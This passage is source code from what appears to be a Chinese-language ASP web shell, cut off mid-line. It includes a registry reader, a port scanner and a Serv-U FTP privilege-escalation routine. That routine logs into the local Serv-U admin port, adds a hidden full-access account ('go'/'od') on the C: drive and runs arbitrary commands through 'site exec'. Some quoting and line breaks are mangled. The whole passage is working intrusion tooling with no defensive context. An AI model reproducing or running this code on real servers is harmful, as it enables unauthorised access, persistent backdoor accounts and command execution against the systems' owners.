465128-8E99-4B0C-AFF3-1348DC55EB2E}NameServer {首DNS}<br/>"
RRS "HKLMSYSTEMControlSet001
ServicesTcpipParametersInterfaces{8A465128-8E99-4B0C-AFF3-
1348DC55EB2E}TCPAllowedPorts {允许的TCP/IP端口}<br/>"
RRS "HKLMSYSTEMControlSet001
ServicesTcpipParametersInterfaces{8A465128-8E99-4B0C-AFF3-
1348DC55EB2E}UDPAllowedPorts {允许的UDP端口}<br/>"
RRS "-----------OVER--------------------<br/>"
RRS "HKLMSYSTEMControlSet001ServicesTcpipEnumCount {共几块活动网
卡}<br/>"
RRS "HKLMSYSTEMControlSet001ServicesTcpipLinkageBind {当前网卡的
序列(把上面的替换)}<br/>"
RRS "</span>"
RRS "</form><hr/>"
if Request("thePath")<>"" then
On Error Resume Next
Set wsX = Server.CreateObject("WScript.Shell")
thePath=Request("thePath")
theArray=wsX.RegRead(thePath)
If IsArray(theArray) Then
For i=0 To UBound(theArray)
RRS "<li>" & theArray(i)
Next
Else
RRS "<li>" & theArray
End If
end if
end sub
sub ScanPort()
Server.ScriptTimeout = 7776000
if request.Form("port")="" then
PortList="21,23,25,80,110,135,139,445,1433,3389,43958"
else
PortList=request.Form("port")
end if
if request.Form("ip")="" then
IP="127.0.0.1"
else
IP=request.Form("ip")
end if
RRS"<p>端口扫描器</p>"
RRS"<form name="form1" method="post" action=""
onSubmit="form1.submit.disabled=true;">"
RRS"<p>Scan IP: "
RRS" <input name="ip" type="text" class="TextBox" id="ip"
value=""&Request.ServerVariables("LOCAL_ADDR")&"" size="60">"
RRS"<br>Port List:"
RRS"<input name="port" type="text" class="TextBox" size="60"
value=""&PortList&"">"
RRS"<br><br>"
RRS"<input name="submit" type="submit" class="buttom" value=" 扫描 ">"
RRS"<input name="scan" type="hidden" id="scan" value="111">"
RRS"</p></form>"
If request.Form("scan") <> "" Then
timer1 = timer
RRS("<b>扫描报告:</b><br><hr>")
tmp = Split(request.Form("port"),",")
ip = Split(request.Form("ip"),",")
For hu = 0 to Ubound(ip)
If InStr(ip(hu),"-") = 0 Then
For i = 0 To Ubound(tmp)
If Isnumeric(tmp(i)) Then
Call Scan(ip(hu), tmp(i))
Else
seekx = InStr(tmp(i), "-")
If seekx > 0 Then
startN = Left(tmp(i), seekx - 1 )
endN = Right(tmp(i), Len(tmp(i)) - seekx )
If Isnumeric(startN) and Isnumeric(endN) Then
For j = startN To endN
Call Scan(ip(hu), j)
Next
Else
RRS(startN & " or " & endN & " is not number<br>")
End If
Else
RRS(tmp(i) & " is not number<br>")
End If
End If
Next
Else
ipStart = Mid(ip(hu),1,InStrRev(ip(hu),"."))
For xxx = Mid(ip(hu),InStrRev(ip(hu),".")+1,1) to Mid(ip(hu),InStr(ip
(hu),"-")+1,Len(ip(hu))-InStr(ip(hu),"-"))
For i = 0 To Ubound(tmp)
If Isnumeric(tmp(i)) Then
Call Scan(ipStart & xxx, tmp(i))
Else
seekx = InStr(tmp(i), "-")
If seekx > 0 Then
startN = Left(tmp(i), seekx - 1 )
endN = Right(tmp(i), Len(tmp(i)) - seekx )
If Isnumeric(startN) and Isnumeric(endN) Then
For j = startN To endN
Call Scan(ipStart & xxx,j)
Next
Else
RRS(startN & " or " & endN & " is not number<br>")
End If
Else
RRS(tmp(i) & " is not number<br>")
End If
End If
Next
Next
End If
Next
timer2 = timer
thetime=cstr(int(timer2-timer1))
RRS"<hr>Process in "&thetime&" s"
END IF
end sub
Sub Scan(targetip, portNum)
On Error Resume Next
set conn = Server.CreateObject("ADODB.connection")
connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","&
portNum &";User ID=lake2;Password=;"
conn.ConnectionTimeout = 1
conn.open connstr
If Err Then
If Err.number = -2147217843 or Err.number = -2147467259
Then
If InStr(Err.description, "(Connect()).") > 0
Then
RRS(targetip & ":" & portNum &
".........关闭<br>")
Else
RRS(targetip & ":" & portNum &
".........<font color=red>开放</font><br>")
End If
End If
End If
End Sub
Select Case Action
Case "MainMenu":MainMenu()
Case "getTerminalInfo":getTerminalInfo()
case "ScanPort":ScanPort()
Case "Servu"
SUaction=request("SUaction")
if not isnumeric(SUaction) then response.end
user = trim(request("u"))
pass = trim(request("p"))
port = trim(request("port"))
cmd = trim(request("c"))
f=trim(request("f"))
if f="" then
f=gpath()
else
f=left(f,2)
end if
ftpport = 65500
timeout=3
loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "
PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" &
ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" &
vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-
PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" &
vbCrLf & _
"-HomeDir=c:\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-
Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _
"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-
AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _
"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf &
"-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _
"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-
SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" &
vbCrLf & _
"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-
QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _
"-Maintenance=System" & vbCrLf & "-PasswordType=Regular" &
vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\|RWAMELCDP" & vbCrLf
quit = "QUIT" & vbCrLf
newuser=replace(newuser,"c:",f)
select case SUaction
case 1
set a=Server.CreateObject("Microsoft.XMLHTTP")
a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True,
"", ""
a.send loginuser & loginpass & mt & deldomain & newdomain & newuser &
quit
set session("a")=a
RRS"<form method="post" name="goldsun">"
RRS"<input name="u" type="hidden" id="u" value=""&user&""></td>"
RRS"<input name="p" type="hidden" id="p" value=""&pass&""></td>"
RRS"<input name="port" type="hidden" id="port" value=""&port&""></td>"
RRS"<input name="c" type="hidden" id="c" value=""&cmd&"" size="50">"
RRS"<input name="f" type="hidden" id="f" value=""&f&"" size="50">"
RRS"<input name="SUaction" type="hidden" id="SUaction"
value="2"></form>"
RRS"<script language="javascript">"
RRS"document.write("<center>正在连接 127.0.0.1:"&port&",使用用户名:
"&user&",口令:"&pass&"...<center>");"
RRS"setTimeout("document.all.goldsun.submit();",4000);"
RRS"</script>"
case 2
set b=Server.CreateObject("Microsoft.XMLHTTP")
b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2",
True, "", ""
b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd &
vbCrLf & quit
set session("b")=b
RRS"<form method="post" name="goldsun">"
RRS"<input name="u" type="hidden" id="u" value=""&user&""></td>"
RRS"<input name="p" type="hidden" id="p" value=""&pass&""></td>"
RRS"<input name="port" type="hidden" id="port" value=""&port&""></td>"
RRS"<input name="c" type="hidden" id="c" value=""&cmd&"" size="50">"
RRS"<input name="f" type="hidden" id="f" value=""&f&"" size="50">"
RRS"<input name="SUaction" type="hidden" id="SUaction"
value="3"></form>"
RRS"<script language="javascript">"
RRS"document.write("<center>正在提升权限,请等待…………<center>");"
RRS"setTimeout(""document.all.goldsun.submit();"",4000);"
RRS"</script>"
case 3
set c=Server.CreateObject("Microsoft.XMLHTTP")
a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3